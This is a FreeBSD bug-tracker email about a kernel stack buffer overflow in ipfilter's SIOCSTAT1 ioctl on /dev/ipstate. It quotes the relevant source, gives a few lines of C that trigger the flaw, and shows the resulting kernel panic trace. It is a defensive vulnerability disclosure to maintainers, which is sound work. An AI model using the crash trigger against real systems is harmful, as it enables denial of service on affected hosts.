[Bug 266124] SIOCSTAT1 on /dev/ipstate causes a kernel stack buffer overflow

From: <bugzilla-noreply_at_freebsd.org>
Date: Wed, 31 Aug 2022 08:43:47 UTC

            Bug ID: 266124
           Summary: SIOCSTAT1 on /dev/ipstate causes a kernel stack buffer
           Product: Base System
           Version: CURRENT
          Hardware: Any
                OS: Any
            Status: New
          Severity: Affects Some People
          Priority: ---
         Component: kern
          Assignee: bugs@FreeBSD.org
          Reporter: rtm@lcs.mit.edu

netpfil/ipfilter/netinet/ip_fil.h says:

#define SIOCSTAT1       _IOWR('r', 78, struct ipfobj)

sizeof(struct ipfobj) is 56, and sys_ioctl() allocates space for the
input and return data on its stack (in smalldata[128]).

netpfil/ipfilter/netinet/ip_state.c says:

         * Return a copy of the hash table bucket lengths
        case SIOCSTAT1 :
                error = BCOPYOUT(softs->ipf_state_stats.iss_bucketlen, data,
                                 softs->ipf_state_size * sizeof(u_int));

But the amount copied here is much larger than 56 (it's 22948 bytes
when I try it).

A demo:

int main() {
  int fd = open("/dev/ipstate", 2);
  if(fd < 0) { perror("/dev/ipstate"); exit(1); }
  char buf[128];
  memset(buf, 0, sizeof(buf));
  ioctl(fd, 0xc038724e, buf); // SIOCSTAT1

# uname -a
FreeBSD  14.0-CURRENT FreeBSD 14.0-CURRENT #40 main-n250928-b8170f38ccc7-dirty:
Mon Aug 29 13:09:55 EDT 2022    
rtm@xxx:/usr/obj/usr/rtm/symbsd/src/riscv.riscv64/sys/RTM riscv
# cc x.c
# ./a.out
panic: vm_fault_lookup: fault on nofault entry, addr: 0xffffffc0035f5000
panic() at panic+0x2a
vm_fault_lookup() at vm_fault_lookup+0x1bc
vm_fault() at vm_fault+0x9c
vm_fault_trap() at vm_fault_trap+0x66
page_fault_handler() at page_fault_handler+0x17a
do_trap_supervisor() at do_trap_supervisor+0x76
cpu_exception_handler_supervisor() at cpu_exception_handler_supervisor+0x70
--- exception 15, tval = 0xffffffc0035f5000
memcpy() at memcpy+0xf8
ipf_state_ioctl() at ipf_state_ioctl+0x1be
ipf_ioctlswitch() at ipf_ioctlswitch+0xb2
ipfioctl() at ipfioctl+0x224
devfs_ioctl() at devfs_ioctl+0xbe
vn_ioctl() at vn_ioctl+0xba
devfs_ioctl_f() at devfs_ioctl_f+0x20
fo_ioctl() at fo_ioctl+0xa
kern_ioctl() at kern_ioctl+0x242
sys_ioctl() at sys_ioctl+0x120

You are receiving this mail because:
You are the assignee for the bug.